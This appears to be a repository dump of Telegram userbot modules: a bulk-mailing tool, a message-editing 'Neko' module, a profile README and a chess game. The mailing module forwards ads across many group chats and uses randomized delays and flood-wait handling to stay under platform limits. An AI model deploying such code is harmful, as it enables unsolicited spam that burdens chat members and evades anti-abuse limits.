file.name = "Mailing_Chat_List.txt"
await self._edit_or_reply_and_handle_deletion(message, "📝 <b>Список чатов слишком большой, отправляю файлом...</b>", delay=0)
await self.client.send_file(message.chat_id, file, caption=f"✅ <b>Список из {len(sorted_items)} чатов.</b>")
return
output = "<b>" + output_header.strip() + "</b>\n\n"
for i, ((cid, tid), name) in enumerate(sorted_items):
topic_str = f' | Тема: <code>{tid}</code>' if tid is not None else ''
output += f"<b>{i+1}.</b> {utils.escape_html(name)} (<code>{cid}</code>{topic_str})\n"
await self._edit_or_reply_and_handle_deletion(message, output, delay=60)
@loader.command()
async def add_msg(self, message):
""" Добавить сообщение (ответом)."""
reply = await message.get_reply_message()
if not reply:
await self._edit_or_reply_and_handle_deletion(message, self.strings["no_messages"].split(". ")[0] + "."); return
if reply.text: snippet_text = reply.text.replace("\n", " ")
elif reply.photo: snippet_text = "[Фото]"
elif reply.video: snippet_text = "[Видео]"
elif reply.sticker:
alt = next((attr.alt for attr in reply.sticker.attributes if isinstance(attr, tl_types.DocumentAttributeSticker)), "?")
snippet_text = f"[Стикер: {alt}]"
else: snippet_text = "[Медиа/Файл]"
snippet = snippet_text[:100] + "..." if len(snippet_text) > 100 else snippet_text
async with self.lock:
self.messages.append({"id": reply.id, "chat_id": get_peer_id(reply.peer_id), "snippet": snippet})
self.db.set(self.strings["name"], "messages", self.messages)
await self._edit_or_reply_and_handle_deletion(message, self.strings["message_added"].format(utils.escape_html(snippet)))
@loader.command()
async def remove_msg(self, message):
""" Удалить сообщение по номеру."""
args = utils.get_args_raw(message)
if not args or not args.isdigit():
await self._edit_or_reply_and_handle_deletion(message, self.strings["invalid_message_number"]); return
idx = int(args) - 1
async with self.lock:
if 0 <= idx < len(self.messages):
removed = self.messages.pop(idx)
self.db.set(self.strings["name"], "messages", self.messages)
await self._edit_or_reply_and_handle_deletion(message, self.strings["message_removed"].format(idx + 1, utils.escape_html(removed["snippet"])))
else:
await self._edit_or_reply_and_handle_deletion(message, self.strings["invalid_message_number"])
@loader.command()
async def clear_msgs(self, message):
"""🗑️ Очистить список сообщений."""
async with self.lock:
self.messages.clear()
self.db.set(self.strings["name"], "messages", [])
await self._edit_or_reply_and_handle_deletion(message, self.strings["messages_cleared"])
@loader.command()
async def list_msgs(self, message):
"""📜 Показать список сообщений."""
if not self.messages:
await self._edit_or_reply_and_handle_deletion(message, self.strings["no_messages"]); return
text = "<b>Список сообщений для рассылки:</b>\n\n"
for i, msg in enumerate(self.messages):
text += f"<b>{i + 1}.</b> {utils.escape_html(msg['snippet'])}\n"
await self._edit_or_reply_and_handle_deletion(message, text, delay=60)
@loader.command()
async def set_seller(self, message):
"""⚙️ Установить ID для уведомлений."""
args = utils.get_args_raw(message).strip()
if not args:
await self._edit_or_reply_and_handle_deletion(message, "✍️ Укажите ID чата, username, ссылку или 'me'."); return
identifier = self.client.tg_id if args.lower() == 'me' else args
try:
entity = await self.client.get_entity(identifier)
seller_id = get_peer_id(entity)
async with self.lock:
self.seller_chat_id = seller_id
self.db.set(self.strings["name"], "seller_chat_id", seller_id)
await self._edit_or_reply_and_handle_deletion(message, self.strings["seller_set"] + f": {get_display_name(entity)} (<code>{seller_id}</code>)")
except Exception as e:
await self._edit_or_reply_and_handle_deletion(message, self.strings["error_getting_entity"].format(e))
@loader.command()
async def mail_status(self, message):
"""📊 Показать статус рассылки."""
async with self.lock:
if not self.is_running:
await self._edit_or_reply_and_handle_deletion(message, self.strings["not_running"]); return
now = datetime.now()
elapsed = now - self.start_time
remaining = self.end_time - now
status = (
f"📊 <b>Статус рассылки:</b> Активна ✅\n"
f"⏳ <b>Прошло:</b> {str(elapsed).split('.')[0]}\n"
f"⏱️ <b>Осталось:</b> {str(remaining).split('.')[0] if remaining.total_seconds() > 0 else '0:00:00'}\n"
f"✉️ <b>Отправлено сообщений:</b> {self.total_messages_sent}\n"
f"🔄 <b>Цикл:</b> {self._processed_chats_in_cycle} чатов обработано"
)
await self._edit_or_reply_and_handle_deletion(message, status, delay=30)
@loader.command()
async def start_mail(self, message):
"""🚀 Запустить рассылку."""
args = utils.get_args(message)
if len(args) != 2:
await self._edit_or_reply_and_handle_deletion(message, self.strings["duration_invalid"]); return
try:
duration = int(args[0])
min_interval, max_interval = map(float, args[1].replace(",", ".").split("-"))
if not (duration > 0 and 0 <= min_interval <= max_interval): raise ValueError
cycle_interval = (min_interval, max_interval)
except Exception:
await self._edit_or_reply_and_handle_deletion(message, self.strings["duration_invalid"]); return
async with self.lock:
if self.is_running:
await self._edit_or_reply_and_handle_deletion(message, self.strings["already_running"]); return
if not self.chats:
await self._edit_or_reply_and_handle_deletion(message, self.strings["chats_empty"]); return
if not self.messages:
await self._edit_or_reply_and_handle_deletion(message, self.strings["messages_empty"]); return
self.is_running = True
self.total_messages_sent = 0
self.start_time = datetime.now()
self.end_time = self.start_time + timedelta(seconds=duration)
self._current_cycle_start_time = None
self._processed_chats_in_cycle = 0
self.mail_task = self.client.loop.create_task(self._mail_loop(duration, cycle_interval, message))
await self._edit_or_reply_and_handle_deletion(message, f"✅ Рассылка запущена на {duration} секунд.")
@loader.command()
async def stop_mail(self, message):
"""⏹️ Остановить рассылку."""
async with self.lock:
if not self.is_running:
await self._edit_or_reply_and_handle_deletion(message, self.strings["not_running"]); return
self.is_running = False
if self.mail_task:
self.mail_task.cancel()
await self._edit_or_reply_and_handle_deletion(message, self.strings["stopped_mailing"])
def _validate_interval_tuple(self, value, default_tuple: Tuple[float, float]) -> Tuple[float, float]:
try:
v_min, v_max = map(float, str(value).replace("-",",").split(','))
if 0 <= v_min <= v_max: return (v_min, v_max)
except Exception:
pass
return default_tuple
async def _is_safe_chat(self, entity: tl_types.TypePeer) -> bool:
return isinstance(entity, (tl_types.Chat, tl_types.Channel)) and get_peer_id(entity) < -1000000000
async def _send_to_chat(self, target_chat_id: int, msg_info: dict, target_topic_id: Optional[int]) -> Tuple[bool, str]:
try:
original_msg = await self.client.get_messages(msg_info["chat_id"], ids=msg_info["id"])
if not original_msg:
return False, "Original message not found"
for attempt in range(3):
try:
await self.client.send_message(entity=target_chat_id, message=original_msg, reply_to=target_topic_id)
async with self.lock:
self.total_messages_sent += 1
return True, "OK" # :/
except errors.FloodWaitError as e:
if attempt == 2: return False, f"FloodWait ({e.seconds}s)"
await asyncio.sleep(e.seconds + random.uniform(1, 3))
except errors.SlowModeWaitError as e:
await asyncio.sleep(e.seconds + random.uniform(0.2, 0.5))
except Exception as e:
if type(e).__name__ in self.PERMISSION_ERRORS:
return False, type(e).__name__
if attempt == 2: return False, str(e)
await asyncio.sleep(random.uniform(2, 5))
return False, "Max retries"
except Exception as e:
return False, f"Get message error: {e}"
async def _mail_loop(self, duration_seconds: int, cycle_interval_seconds_range: Tuple[float, float], initial_command_message_event):
"""Оригинальный, надежный цикл рассылки"""
end_time_loop = self.start_time + timedelta(seconds=duration_seconds)
final_status_for_user = self.strings["mailing_complete"]
try:
while self.is_running and datetime.now() < end_time_loop:
self._current_cycle_start_time = datetime.now()
self._processed_chats_in_cycle = 0
async with self.lock:
current_chats = list(self.chats.keys())
current_messages_list = list(self.messages)
is_safe_mode = self.config["safe_mode"]
randomize_messages_cfg = self.config["randomize_messages"]
max_c_per_cycle = self.config["max_chats_safe"]
chats_interval_key = "safe_chats_interval" if is_safe_mode else "chats_interval"
short_interval = self._validate_interval_tuple(self.config[chats_interval_key], (10, 20) if is_safe_mode else (2, 5))
message_interval_key = "safe_message_interval" if is_safe_mode else "message_interval"
message_interval_val = self._validate_interval_tuple(self.config[message_interval_key], (5, 10) if is_safe_mode else (1, 3))
if not current_chats or not current_messages_list:
final_status_for_user = "Рассылка остановлена: список чатов или сообщений пуст."
break
random.shuffle(current_chats)
chats_for_this_cycle = current_chats[:min(max_c_per_cycle if is_safe_mode else len(current_chats), len(current_chats))]
for i, (chat_id_target, topic_id_target) in enumerate(chats_for_this_cycle):
if not self.is_running or datetime.now() >= end_time_loop: break
messages_to_send_now = [random.choice(current_messages_list)] if randomize_messages_cfg else current_messages_list
for message_detail in messages_to_send_now:
if not self.is_running or datetime.now() >= end_time_loop: break
success_send, reason_send = await self._send_to_chat(chat_id_target, message_detail, topic_id_target)
if not success_send:
if reason_send in self.PERMISSION_ERRORS:
logger.warning(f"Permission issue in {chat_id_target}, skipping chat.")
else:
logger.warning(f"Failed to send to {chat_id_target}: {reason_send}")
break
if len(messages_to_send_now) > 1:
await asyncio.sleep(random.uniform(*message_interval_val))
self._processed_chats_in_cycle += 1
if i < len(chats_for_this_cycle) - 1:
await asyncio.sleep(random.uniform(*short_interval))
if not self.is_running or datetime.now() >= end_time_loop: break
await asyncio.sleep(random.uniform(*cycle_interval_seconds_range))
except asyncio.CancelledError:
final_status_for_user = self.strings["stopped_mailing"]
except Exception as e_loop:
logger.exception("Критическая ошибка в цикле рассылки:")
final_status_for_user = f"❌ Критическая ошибка: {type(e_loop).__name__}"
finally:
final_report = f"{final_status_for_user} (Отправлено: {self.total_messages_sent})"
await self.client.send_message(initial_command_message_event.chat_id, final_report)
if self.seller_chat_id:
await self.client.send_message(self.seller_chat_id, f"🔔 Уведомление: {final_report}")
async with self.lock:
self.is_running = False
self.mail_task = None
@loader.command()
async def dump_chats(self, message):
"""📤 Выгрузить список чатов рассылки в .txt файл (для бэкапа)."""
status_msg = await self._edit_or_reply_and_handle_deletion(message, "⏳ <b>Экспорт списка рассылки...</b>", delay=0)
async with self.lock:
if not self.chats:
await self._edit_or_reply_and_handle_deletion(status_msg, "⚠️ <b>Список чатов для рассылки пуст.</b>")
return
export_list = []
for (cid, tid), name in self.chats.items():
if tid is not None and cid < -1000000000:
chat_id_for_link = str(cid)[4:]
export_list.append(f"https://t.me/c/{chat_id_for_link}/{tid}")
else:
export_list.append(str(cid))
file_content = "\n".join(export_list)
file = io.BytesIO(file_content.encode("utf-8"))
file.name = "mailing_list_backup.txt"
await self.client.send_file(
message.chat_id,
file,
caption=f"✅ <b>Экспортировано {len(export_list)} чатов из списка рассылки.</b>\n\nИспользуйте <code>.load_chats</code> в ответе на этот файл, чтобы импортировать их.")
await self._edit_or_reply_and_handle_deletion(status_msg, "✅ <b>Экспорт завершен!</b>")
@loader.command()
async def load_chats(self, message):
"""📤 Загрузить чаты в рассылку из .txt файла (ответом на файл)."""
reply = await message.get_reply_message()
if not reply or not reply.document:
await self._edit_or_reply_and_handle_deletion(message, "✍️ <b>Ответьте на .txt файл с ID чатов.</b>")
return
if reply.document.mime_type != 'text/plain':
await self._edit_or_reply_and_handle_deletion(message, "⚠️ <b>Файл должен быть в формате .txt</b>")
return
status_msg = await self._edit_or_reply_and_handle_deletion(message, "⏳ <b>Начинаю загрузку чатов из файла...</b>", delay=0)
content = await reply.download_media(bytes)
chat_identifiers = content.decode("utf-8").splitlines()
chat_identifiers = [line.strip() for line in chat_identifiers if line.strip()]
if not chat_identifiers:
await self._edit_or_reply_and_handle_deletion(status_msg, "⚠️ <b>Файл пуст или не содержит идентификаторов чатов.</b>")
return
added, exists, errors_list = [], [], []
for i, identifier in enumerate(chat_identifiers):
if i > 0 and i % 20 == 0:
await self._edit_or_reply_and_handle_deletion(status_msg, f"⏳ <b>Обработано {i}/{len(chat_identifiers)}...</b>", delay=0)
res = await self._find_chat(ChatTarget(identifier))
if res:
if res["key"] not in self.chats:
self.chats[res["key"]] = res["name"]
added.append(res["name"])
else:
exists.append(res["name"])
else:
errors_list.append(identifier)
if added:
self._save_db_chats()
summary = f"✅ <b>Загрузка завершена!</b>\n\n"
if added: summary += f"<b>Добавлено новых чатов:</b> {len(added)}\n"
if exists: summary += f"<b>Уже были в списке:</b> {len(exists)}\n"
if errors_list: summary += f"<b>Не удалось найти:</b> {len(errors_list)}\n"
await self._edit_or_reply_and_handle_deletion(status_msg, summary)

View File

@@ -0,0 +1,81 @@
# This file is part of SenkoGuardianModules
# Copyright (c) 2025 Senko
# This software is released under the MIT License.
# https://opensource.org/licenses/MIT
# meta developer: @SenkoGuardianModules
from hikkatl.types import Message
from .. import loader, utils
import random
@loader.tds
class NekoEditorMod(loader.Module):
"""Neko-редактор сообщений | Владелецы: @SstAngelStar × @ilovesenko """
strings = {
"name": "NekoEditor",
}
def __init__(self):
self.config = loader.ModuleConfig(
loader.ConfigValue(
"enabled",
False,
"Автоматическое редактирование",
validator=loader.validators.Boolean()
)
)
async def nekoedcmd(self, message: Message):
"""Управление Neko-режимом | .nekoed [on/off]"""
args = utils.get_args_raw(message)
me = await message.client.get_me()
is_premium = getattr(me, 'premium', False)
if not args:
status = "включён" if self.config["enabled"] else "выключен"
return await utils.answer(message, f"🐱 NekoEditor: {status}")
if args.lower() in ["on", "вкл", "1"]:
self.config["enabled"] = True
if is_premium:
await utils.answer(message, '<emoji document_id="5335044582218412321">☺️</emoji> Режим включён! Nya~')
else:
await utils.answer(message, "🐾 Режим включён! Nya~")
elif args.lower() in ["off", "выкл", "0"]:
self.config["enabled"] = False
if is_premium:
await utils.answer(message, '<emoji document_id="5377309873614627829">👌</emoji> Режим выключен... _')
else:
await utils.answer(message, "🌀 Режим выключен... >_<", parse_mode=None)
self.db.set("NekoEditor", "enabled", self.config["enabled"])
async def watcher(self, message: Message):
if (
not self.config["enabled"]
or not getattr(message, "out", False)
or getattr(message, "fwd_from", None)
or getattr(message, "forward", None)
or not message.text
or "nekoed" in message.raw_text.lower()
):
return
neko_words = ["Nya~", "UwU", "OwO", "_", "^^", "(≧▽≦)"]
modified_text = message.text
neko_word = random.choice(neko_words)
if random.random() < 0.5:
modified_text = f"{neko_word} {modified_text}"
else:
modified_text = f"{modified_text} {neko_word}"
replacements = {
"р": "w",
"л": "w",
"но": "ня",
"на": "ня"
}
for old, new in replacements.items():
modified_text = modified_text.replace(old, new)
try:
if message.text != modified_text:
await message.edit(modified_text)
except Exception:
pass

View File

@@ -0,0 +1,7 @@
- 👋 Hi, Im @SenkoGuardian or Senko. I'm doing modules for Heroku UserBot
- 📫 How to reach me -> Telegram: @ilovesenko
- My Telegram chanel: @SenkoGuardianModules
<!---
SenkoGuardian/SenkoGuardian is a ✨ special ✨ repository because its `README.md` (this file) appears on your GitHub profile.
You can click the Preview link to take a look at your changes.
--->

Binary file not shown.

After

Width:  |  Height:  |  Size: 578 KiB

927
ZetGoHack/nullmod/Chess.py Normal file
View File

@@ -0,0 +1,927 @@
__version__ = (2, 0, 0)
#░░░███░███░███░███░███
#░░░░░█░█░░░░█░░█░░░█░█
#░░░░█░░███░░█░░█░█░█░█
#░░░█░░░█░░░░█░░█░█░█░█
#░░░███░███░░█░░███░███
#H:Mods Team [💎]
# meta developer: @nullmod
# requires: python-chess
# packurl: https://github.com/ZetGoHack/TestingModules/raw/main/chess.yml
from .. import loader, utils
from ..inline.types import BotInlineCall, InlineCall, InlineMessage
import asyncio
import chess
import chess.pgn
import copy
import random as r
import time
from datetime import datetime, timezone
from telethon.tl.types import PeerUser, User, Message
from typing import TypedDict
class Timer:
def __init__(self, scnds):
self.starttime = scnds
self.timers = {"white": scnds, "black": scnds}
self.running = {"white": False, "black": False}
self.last_time = time.monotonic()
self.t = None
def minutes(self) -> int:
return self.starttime // 60
async def _count(self):
while True:
await asyncio.sleep(0.1)
now = time.monotonic()
elapsed = now - self.last_time
self.last_time = now
for color in ("white", "black"):
if self.running[color]:
self.timers[color] = max(0, self.timers[color] - elapsed)
async def start(self, from_color: str = "white"):
self.last_time = time.monotonic()
if from_color == "restore":
if self.running["white"]:
from_color = "white"
else:
from_color = "black"
await self._turn(from_color)
self.t = asyncio.create_task(self._count())
async def switch(self):
self.running["white"] = not self.running["white"]
self.running["black"] = not self.running["black"]
async def _turn(self, color):
now = time.monotonic()
e = now - self.last_time
self.last_time = now
for clr in ("white", "black"):
if self.running[clr]:
self.timers[clr] = max(0, self.timers[clr] - e)
self.running = {"white": color == "white", "black": color == "black"}
async def white_time(self):
return round(self.timers["white"], 0)
async def black_time(self):
return round(self.timers["black"], 0)
def restore(self, white_time: float, black_time: float, running: dict):
self.timers["white"] = white_time
self.timers["black"] = black_time
self.running = running
def backup(self) -> dict:
return {
"white_time": self.timers["white"],
"black_time": self.timers["black"],
"running": self.running
}
async def stop(self):
if self.t:
self.t.cancel()
self.running = {"white": False, "black": False}
class Player(TypedDict):
id: int
name: str
color: bool | None
class TimerDict(TypedDict):
timer: Timer
timer_loop: bool
timer_is_set: bool
message: InlineCall
class GameParams(TypedDict):
chosen_figure_coord: str
reason_of_ending: str
promotion_move: str
winner_color: bool | None
resigner_color: bool | None
draw_offerer: bool | None
class Game(TypedDict):
board: chess.Board
message: InlineCall
root_node: chess.pgn.Game
curr_node: chess.pgn.Game
state: str
reason: str
add_params: GameParams
class GameObj(TypedDict):
game_id: str
game: Game
sender: Player
opponent: Player
Timer: TimerDict
time: int
host_plays: bool
style: dict[str, str]
GamesDict = dict[str, GameObj]
@loader.tds
class Chess(loader.Module):
"""A reworked version of the Chess module"""
strings = {
"": "",
"name": "Chess",
}
def __init__(self):
self.config = loader.ModuleConfig(
loader.ConfigValue(
"play_self",
False,
"Allows you to make moves without turn checks (also, you can play with yourself)",
validator=loader.validators.Boolean(),
)
)
async def client_ready(self):
self.styles = {
"figures-with-circles": {
"symbol": "[♔⚪] ",
"r": "♖⚫", "n": "♘⚫", "b": "♗⚫", "q": "♕⚫", "k": "♔⚫", "p": "♙⚫",
"R": "♖⚪", "N": "♘⚪", "B": "♗⚪", "Q": "♕⚪", "K": "♔⚪", "P": "♙⚪",
"move": "", "capture": "×", "promotion": "", "capture_promotion": "×↻",
},
"figures": {
"symbol": "[♔] ",
"r": "", "n": "", "b": "", "q": "𝗾", "k": "", "p": "",
"R": "", "N": "", "B": "", "Q": "𝗤", "K": "", "P": "",
"move": "", "capture": "×", "promotion": "", "capture_promotion": "×↻",
},
"letters": {
"symbol": "[𝗞] ",
"r": "𝗿", "n": "𝗻", "b": "𝗯", "q": "𝗾", "k": "𝗸", "p": "𝗽",
"R": "𝗥", "N": "𝗡", "B": "𝗕", "Q": "𝗤", "K": "𝗞", "P": "𝗣",
"move": "", "capture": "×", "promotion": "", "capture_promotion": "×↻",
},
"figures-with-cyr-letters": {
"symbol": "[♔Б] ",
"r": "♖Ч", "n": "♘Ч", "b": "♗Ч", "q": "♕Ч", "k": "♔Ч", "p": "♙Ч",
"R": "♖Б", "N": "♘Б", "B": "♗Б", "Q": "♕Б", "K": "♔Б", "P": "♙Б",
"move": "", "capture": "×", "promotion": "", "capture_promotion": "×↻",
},
"figures-with-latin-letters": {
"symbol": "[♔W] ",
"r": "♖B", "n": "♘B", "b": "♗B", "q": "♕B", "k": "♔B", "p": "♙B",
"R": "♖W", "N": "♘W", "B": "♗W", "Q": "♕W", "K": "♔W", "P": "♙W",
"move": "", "capture": "×", "promotion": "", "capture_promotion": "×↻",
},
"figures-with-comb-letters": {
"symbol": "[♔ⷱ] ",
"r": "♖ⷱ", "n": "♘ⷱ", "b": "♗ⷱ", "q": "♕ⷱ", "k": "♔ⷱ", "p": "♙ⷱ",
"R": "♖ⷠ", "N": "♘ⷠ", "B": "♗ⷠ", "Q": "♕ⷠ", "K": "♔ⷠ", "P": "♙ⷠ",
"move": "", "capture": "×", "promotion": "", "capture_promotion": "×↻",
},
}
self.coords = {
f"{col}{row}": "" for row in range(1, 9)
for col in "hgfedcba"
}
self.games: GamesDict = self.get("games_backup", {})
self.gsettings = {
"style": "figures-with-circles",
}
self.pgn = {
'Event': "Chess Play In Module",
'Site': "https://t.me/nullmod/",
'Date': "{date}",
'Round': "{game_id}",
'White': "{player}",
'Black': "{player}",
}
async def _check_player(self, call: InlineCall, game_id: str, only_opponent: bool = False, skip_turn_check: bool = False) -> bool:
if isinstance(call, (BotInlineCall, InlineCall, InlineMessage)):
game = self.games[game_id]
_from_id = call.from_user.id
if game.get("game", None) and game["game"]["state"] == "the_end":
await call.answer(self.strings["game_ended"], show_alert=True)
return
if _from_id != game["sender"]["id"]:
if _from_id != game["opponent"]["id"]:
await call.answer(self.strings["not_available"])
return False
if _from_id == game["sender"]["id"] and only_opponent and not self.config["play_self"]:
await call.answer(self.strings["not_you"])
return False
elif not self.config["play_self"] and game.get("game", None) and not skip_turn_check:
if game["sender"]["color"] == game["game"]["board"].turn and game["sender"]["id"] != _from_id:
await call.answer(self.strings["opp_move"])
return False
elif game["opponent"]["color"] == game["game"]["board"].turn and game["opponent"]["id"] != _from_id:
await call.answer(self.strings["opp_move"])
return False
return True
async def get_players(self, message: Message):
sender = {
"id": message.from_id.user_id if isinstance(message.peer_id, PeerUser) else message.sender.id,
"name": (await self.client.get_entity(message.from_id if isinstance(message.peer_id, PeerUser) else message.sender.id)).first_name
}
if message.is_reply:
r = await message.get_reply_message()
opponent = r.sender
if not isinstance(opponent, User):
await utils.answer(message, self.strings["not_a_user"])
return (None, None)
opp_id = opponent.id
opp_name = opponent.first_name
else:
args = utils.get_args(message)
if len(args)==0:
await utils.answer(message, self.strings["noargs"])
return (None, None)
opponent = args[0]
try:
if opponent.isdigit():
opp_id = int(opponent)
opponent = await self.client.get_entity(opp_id)
if not isinstance(opponent, User):
await utils.answer(message, self.strings["not_a_user"])
return (None, None)
opp_name = opponent.first_name
else:
opponent = await self.client.get_entity(opponent)
if not isinstance(opponent, User):
await utils.answer(message, self.strings["not_a_user"])
return (None, None)
opp_name = opponent.first_name
opp_id = opponent.id
except:
await utils.answer(message, self.strings["whosthat"])
return (None, None)
opponent = {
"id": opp_id,
"name": opp_name
}
return (sender, opponent)
async def _invite(self, call: InlineCall, game_id: str):
if not await self._check_player(call, game_id): return
game = self.games[game_id]
await utils.answer(
call,
self.strings["invite"].format(opponent=utils.escape_html(self.games[game_id]["opponent"]["name"])) + self.strings['settings_text'].format(
style=game['style'],
timer=self.strings['available'] if game['Timer']['available'] and not game['Timer']['timer']
else self.strings['timer'].format(game['Timer']['timer'].minutes()) if game['Timer']['timer']
else self.strings['not_available'],
color=self.strings['random'] if game['host_plays'] == 'r'
else self.strings['white'] if game['host_plays'] == True
else self.strings['black']
),
reply_markup = [
[
{
"text": self.strings["yes"],
"callback": self._init_game,
"args": (game_id,)
},
{
"text": self.strings["no"],
"callback": self._init_game,
"args": (game_id, "no")
}
],
[
{
"text": self.strings["settings"],
"callback": self.settings,
"args": (game_id,)
}
]
],
disable_security=True
)
async def settings(self, call: InlineCall, game_id: str):
if not await self._check_player(call, game_id): return
game = self.games[game_id]
reply_markup = []
if game["Timer"]["available"]:
reply_markup.append([
{"text": self.strings["time_btn"], "callback": self._settings, "args": (game_id, "t", )}
])
reply_markup.extend([
[
{"text": self.strings["color_btn"], "callback": self._settings, "args": (game_id, "c", )}
],
[
{"text": self.strings["style_btn"], "callback": self._settings, "args": (game_id, "s", )}
],
[
{"text": self.strings['back'], "callback": self._invite, "args": (game_id,)}
]
])
await utils.answer(
call,
self.strings['settings_text'].format(
style=game['style'],
timer=self.strings['available'] if game['Timer']['available'] and not game['Timer']['timer']
else self.strings['timer'].format(game['Timer']['timer'].minutes()) if game['Timer']['timer']
else self.strings['not_available'],
color=self.strings['random'] if game['host_plays'] == 'r'
else self.strings['white'] if game['host_plays'] == True
else self.strings['black']
),
reply_markup=reply_markup,
disable_security=True
)
async def _settings(self, call: InlineCall, game_id: str, ruleset: str | list):
reply_markup = []
text = "🍓"
if isinstance(ruleset, str):
if ruleset == "t":
text = ""
reply_markup.extend([
[
{"text": self.strings['blitz_text'], "action": "answer", "message": self.strings['blitz_message']}
],
[
{"text": self.strings['timer'].format(3), "callback":self._settings, "args": (game_id, ['Timer', 3])},
{"text": self.strings['timer'].format(5), "callback":self._settings, "args": (game_id, ['Timer', 5])},
],
[
{"text": self.strings['rapid_text'], "action": "answer", "message": self.strings['rapid_message']}
],
[
{"text": self.strings['timer'].format(10), "callback":self._settings, "args": (game_id, ['Timer', 10])},
{"text": self.strings['timer'].format(15), "callback":self._settings, "args": (game_id, ['Timer', 15])},
{"text": self.strings['timer'].format(30), "callback":self._settings, "args": (game_id, ['Timer', 30])},
{"text": self.strings['timer'].format(60), "callback":self._settings, "args": (game_id, ['Timer', 60])}
],
[
{"text": self.strings['no_clock_text'], "callback":self._settings, "args": (game_id, ['Timer', True])}
]
])
elif ruleset == "c":
text = "♟️"
reply_markup.extend([
[
{"text": self.strings['white'], "callback":self._settings, "args": (game_id, ['host_plays', True])},
{"text": self.strings['black'], "callback":self._settings, "args": (game_id, ['host_plays', True] )}
],
[
{"text": self.strings['random'], "callback":self._settings, "args": (game_id, ['host_plays', 'r'])}
]
])
elif ruleset == "s":
text = "✏️"
reply_markup.extend([
[{"text": st["symbol"] + self.strings[name], "callback":self._settings, "args": (game_id, ["style", name])}]
for name, st in self.styles.items()
])
reply_markup.append(
[
{"text": self.strings['back'], "callback": self.settings, "args": (game_id,)}
]
)
await utils.answer(call, text, reply_markup=reply_markup, disable_security=True)
else:
await call.answer("")
if ruleset[0] == "style":
self.set('style', ruleset[1])
if ruleset[0] == "Timer" and isinstance(ruleset[1], int):
self.games[game_id]['Timer']['timer'] = Timer(ruleset[1]*60)
else:
self.games[game_id][ruleset[0]] = ruleset[1]
await self.settings(call, game_id)
@loader.command(ru_doc="[reply/username/id] - предложить человеку сыграть партию")
async def chess(self, message: Message):
"""[reply/username/id] - propose a person to play a game"""
sender, opponent = await self.get_players(message)
if not sender or not opponent: return
if sender['id'] == opponent['id'] and not self.config["play_self"]:
await utils.answer(message, self.strings["playing_with_yourself?"])
return
if self.games:
past_game = next(reversed(self.games.values()))
if not past_game.get("game", None):
self.games.pop(past_game['game_id'], None)
if not self.games:
game_id = str(1)
else:
game_id = str(max(map(int, self.games.keys())) + 1)
self.games[game_id] = GameObj(
game_id = game_id,
sender = sender,
opponent = opponent,
Timer = {"available": True if isinstance(message.peer_id, PeerUser) else False, "timer": None, "timer_loop": False},
time = int(time.time()),
host_plays = "r",
style = self.gsettings['style']
)
await self._invite(message, game_id)
# @loader.command(ru_doc="посмотреть текущее состояние модуля и статистику своих партий")
# async def chesstats(self, message: Message):
# """view the current state of the module and statistics of your games"""
# total_games = len(self.get("games_backup", {}))
# await utils.answer(message, f"♟️ <b>{self.strings['name']}</b> ♟️\n\nTotal games played: <b>{total_games}</b>")
# TODO: добавить кнопки для просмотра состояния каждой партии; считать победы/поражения/ничьи и прочую бесполезную статистику; проверка на наличие исполняемого файла шахматного движка для возможности игры против ИИ; возможность экспорта партии в PGN; возможность продолжить сохранённую партию
############## Preparing all for game start... ##############
async def _init_game(self, call: InlineCall, game_id: str, ans="yes"):
if not await self._check_player(call, game_id=game_id, only_opponent=True): return
if ans == "no":
self.games.pop(game_id, None)
await utils.answer(call, self.strings["declined"])
return
game = self.games[game_id]
await utils.answer(call, self.strings["step1"])
await asyncio.sleep(0.8)
await utils.answer(call, self.strings["step2"])
game["style"] = self.styles[game["style"]]
await asyncio.sleep(0.8)
await utils.answer(call, self.strings["step3"])
if (turn := game.pop("host_plays")) == "r":
turn = r.choice([True, False])
game["sender"]["color"] = True if turn else False
game["opponent"]["color"] = False if turn else True
await asyncio.sleep(0.8)
await utils.answer(call, self.strings["step4"])
game["Timer"].pop("available", None)
await asyncio.sleep(0.8)
if isinstance(self.games[game_id]["Timer"]["timer"], Timer):
await utils.answer(call, self.strings["step4.T"])
await self._set_timer(call, game_id, call._units[call.unit_id]['chat'])
await asyncio.sleep(0.8)
return await utils.answer(call, self.strings["waiting_for_start"])
await self._start_game(call, game_id)
async def _set_timer(self, board_call: InlineCall, game_id: str, chat_id):
timer = self.games[game_id]["Timer"]["timer"]
self.games[game_id]["Timer"]["message"] = (
await self.inline.form(self.strings["timer_text"].format(
int(await timer.white_time()),
int(await timer.black_time()),
""
),
chat_id,
reply_markup = {"text": self.strings["start_timer"], "callback": self._start_timer, "args": (board_call, game_id,)},
disable_security = True,
)
)
@loader.loop(interval=1, autostart=True)
async def main_loop(self):
for game_id in self.games:
if not self.games[game_id].get("backup", False) and self.games[game_id]["Timer"]["timer_loop"] and not self.games[game_id]["Timer"]["timer_is_set"]:
async def timer_loop(game_id):
timer = self.games[game_id]["Timer"]["timer"]
await timer.start()
self.games[game_id]["Timer"]["timer_is_set"] = True
while self.games[game_id]["Timer"]["timer_loop"]:
if not all([await timer.white_time(), await timer.black_time()]):
self.games[game_id]["Timer"]["timer_loop"] = False
self.the_end(game_id, "time_is_up")
elif self.games[game_id]["game"]["state"] == "the_end":
self.games[game_id]["Timer"]["timer_loop"] = False
loser, winner = self._get_loser_and_winner(game_id)
await self.games[game_id]["Timer"]["message"].edit(self.strings["timer_text"].format(
int(await timer.white_time()),
int(await timer.black_time()),
"" if self.games[game_id]["game"]["state"] != "the_end"
else "⏹️ " + self.strings[self.games[game_id]["game"]["add_params"]["reason_of_ending"]].format(
loser, winner
)
),
)
await asyncio.sleep(1)
await timer.stop()
asyncio.create_task(timer_loop(game_id))
if self.games[game_id].get("game", None):
if not self.games[game_id].get("backup", False):
self.games[game_id]["game"]["message"].inline_manager._units[
self.games[game_id]["game"]["message"].unit_id
]["always_allow"] = True # для ругающегося на эту строку гпт - по неизвестно какой причине фреймворк в какое-то время попросту
# забывает про отключение его проверки. мне это нужно, чтобы сам модуль брал на себя ответсвенность
# проверки, кто может управлять доской, а до кого очередь ещё не дошла
games_backup = {}
games = self.games
for game_id, game in games.items():
if game.get("game", None):
game_copy = game
if not game.get("backup", None):
game_copy = {}
game_copy["backup"] = True
game_copy["game"] = {
k: v for k, v in game["game"].items()
if k not in ("message", "root_node", "curr_node", "board")
}
game_copy["game"]["node"] = str(game["game"]["root_node"])
if game.get("Timer", None) and game["Timer"].get("timer", None):
game_copy["Timer"] = game["Timer"]["timer"].backup()
for key, value in game.items():
if key not in ("game", "Timer"):
game_copy[key] = value
